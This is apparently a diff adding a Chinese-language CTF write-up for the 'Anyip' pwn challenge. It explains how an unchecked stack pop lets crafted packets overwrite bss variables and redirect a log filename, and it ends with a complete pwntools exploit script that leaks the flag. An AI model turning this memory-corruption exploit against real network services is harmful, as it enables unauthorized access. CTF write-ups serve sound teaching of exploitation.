|
| 1 | +# Anyip |
| 2 | + |
| 3 | +## 文件属性 |
| 4 | + |
| 5 | +|属性 |值 | |
| 6 | +|------|------| |
| 7 | +|Arch |amd64 | |
| 8 | +|RELRO |Full | |
| 9 | +|Canary|on | |
| 10 | +|NX |on | |
| 11 | +|PIE |on | |
| 12 | +|strip |yes | |
| 13 | + |
| 14 | +## 解题思路 |
| 15 | + |
| 16 | +题目实现了一个最基础的tcp服务器,用户需要输入二进制内容和它进行交互。 |
| 17 | +根据读取缓冲区并parse的函数,可以总结出以下输入的规律: |
| 18 | + |
| 19 | + |
| 20 | + |
| 21 | +其中 *action* 可以是`0x1111`, `0x2222`, `0x3333`或`0x4444`,分别对应树打印、 |
| 22 | +栈操作、树构建和队列操作。 |
| 23 | + |
| 24 | +其中栈和队列的操作比较好逆,可以通过 *opt* 来控制退栈和压栈等。 |
| 25 | +其中logname会在一开始按时间戳生成一个,我们不能通过打log来获取它的输出。 |
| 26 | +观察到操作栈时,压栈有检查,退栈却没有,分析bss上的布局, |
| 27 | +我们可以覆盖到控制队列的`rear`。入队的时候直接用了`rear`来访问队列, |
| 28 | +随后`rear = (rear + 1) % 10`,因此我们控制`rear`后可以向后方写入一个数字 *buf* 。 |
| 29 | +最简单的就是控制`bp`,然后我们就可以无限压栈,压到`sp`后,将`logname`的偏移压入其中, |
| 30 | +接着就可以控制log文件的名字了。 |
| 31 | + |
| 32 | + |
| 33 | + |
| 34 | +再然后就是难逆的树操作了。一开始还不太好看出来,因为有个0x50大小的结构体, |
| 35 | +却没有任何信息。最后在一堆函数里找到这么个字符串:`"cannot create std::deque larger than max_size()"`, |
| 36 | +借助C++编译一个空的deque然后-g生成调试符号,终于在Ghidra里读到了整个结构体的全貌, |
| 37 | +同时也推出了其他的库函数,可以分析了。最后还原出的树构建的函数大约是这样的: |
| 38 | + |
| 39 | +> [!TIP] |
| 40 | +> 当不开优化选项时,C++的大量函数模板实例化后没有内联,导致这道题的很多函数是空的, |
| 41 | +> 逆向难度变相提高了。如果开启了编译选项,结构体信息会全部打包进ELF中,使用反编译软件可以读取之, |
| 42 | +> 从而方便我们backport类的结构体到题目中。(虽然还是要猜它是什么类) |
| 43 | +
|
| 44 | +```c |
| 45 | +struct Node { |
| 46 | + char ch; |
| 47 | + Node *lchild; |
| 48 | + Node *rchild; |
| 49 | +} *root; |
| 50 | + |
| 51 | +void insert(char ch) { |
| 52 | + deque<Node *> dequeue; |
| 53 | + Node *node = root; |
| 54 | + dequeue.push_back(node); |
| 55 | + while (!dequeue.empty()) { |
| 56 | + node = dequeue.front(); |
| 57 | + if (!node->lchild || !node->rchild) |
| 58 | + break; |
| 59 | + dequeue.push_back(node->lchild); |
| 60 | + dequeue.push_back(node->rchild); |
| 61 | + dequeue.pop_front(); |
| 62 | + } |
| 63 | + if (!node->lchild) |
| 64 | + node->lchild = new Node(ch); |
| 65 | + else |
| 66 | + node->rchild = new Node(ch); |
| 67 | +} |
| 68 | + |
| 69 | +void tostring(string &acc) { |
| 70 | + Node *node = root; |
| 71 | + while (node || !dequeue.empty()) |
| 72 | + if (node) { |
| 73 | + dequeue.push_back(node); |
| 74 | + node = node->lchild; |
| 75 | + } else { |
| 76 | + node = dequeue.back(); |
| 77 | + acc += node->ch; |
| 78 | + dequeue.pop_back(); |
| 79 | + node = node->rchild; |
| 80 | + } |
| 81 | +} |
| 82 | +``` |
| 83 | +
|
| 84 | +根据以上代码,在插入节点时,使用BFS方式填充节点(也就是数组平铺式), |
| 85 | +在构建字符串时使用中序遍历取出节点。在树打印函数中,如果中序遍历树得到`SomeIpfun`, |
| 86 | +那么就会打开log文件并输出其中的内容。这也是唯一的输出内容的地方。 |
| 87 | +
|
| 88 | +因此控制树节点使其中序遍历为`SomeIpfun`,并劫持`logname`为`"flag"`就可以输出flag。 |
| 89 | +
|
| 90 | +## EXPLOIT |
| 91 | +
|
| 92 | +```python |
| 93 | +from pwn import * |
| 94 | +context.terminal = ['tmux','splitw','-h'] |
| 95 | +GOLD_TEXT = lambda x: f'\x1b[33m{x}\x1b[0m' |
| 96 | +EXE = './anyip' |
| 97 | +
|
| 98 | +def payload(lo: int): |
| 99 | + global sh, server |
| 100 | + if lo: |
| 101 | + if lo & 4 or not isinstance(server, process): |
| 102 | + server = process(EXE) |
| 103 | + if lo & 2: |
| 104 | + gdb.attach(server) |
| 105 | + sh = remote('127.0.0.1', 9999) |
| 106 | + else: |
| 107 | + sh = remote('', 9999) |
| 108 | +
|
| 109 | + def encode(op: int, option: int, buf: bytes) -> bytes: |
| 110 | + return p16(op) + b'\0' + p8(option) + p64(0) + p32(0x701) + buf |
| 111 | +
|
| 112 | + def send(buf: bytes): |
| 113 | + sh.send(buf) |
| 114 | + sleep(0.125) |
| 115 | +
|
| 116 | + info('Setting up bp to bypass stack limitation') |
| 117 | + for _ in range(5): |
| 118 | + send(encode(0x2222, 2, b'')) # stack pop |
| 119 | + send(encode(0x2222, 1, b'27')) # stack push: [rear] = &sp - &queue |
| 120 | + send(encode(0x4444, 1, b'4096')) # queue push: [bp] = 0x1000 |
| 121 | + info('Setting sp to 16 to mod logname') |
| 122 | + for _ in range(14): |
| 123 | + send(encode(0x2222, 1, b'0')) |
| 124 | + send(encode(0x2222, 1, b'16')) # stack push: [sp] = &logname - &stack |
| 125 | + info('Now set logname as "flag"') |
| 126 | + send(encode(0x2222, 1, str(u32(b'flag')).encode())) |
| 127 | + send(encode(0x2222, 1, b'0')) # logname = "flag" |
| 128 | +
|
| 129 | + info('Setting up char tree') |
| 130 | + sh.send(encode(0x3333, 3, b'p')) |
| 131 | + sh.send(encode(0x3333, 1, b'e')) |
| 132 | + sh.send(encode(0x3333, 1, b'u')) |
| 133 | + sh.send(encode(0x3333, 1, b'o')) |
| 134 | + sh.send(encode(0x3333, 1, b'I')) |
| 135 | + sh.send(encode(0x3333, 1, b'f')) |
| 136 | + sh.send(encode(0x3333, 1, b'n')) |
| 137 | + sh.send(encode(0x3333, 1, b'S')) |
| 138 | + sh.send(encode(0x3333, 1, b'm')) |
| 139 | +
|
| 140 | + info('Now print the flag!!!') |
| 141 | + sh.send(encode(0x1111, 2, b'')) |
| 142 | +
|
| 143 | + sh.recvuntil(b'flag{') |
| 144 | + flag = b'flag{' + sh.recvuntil(b'}') |
| 145 | + success(f"Flag is: {flag.decode()}") |
| 146 | + sh.close() |
| 147 | +``` |
0 commit comments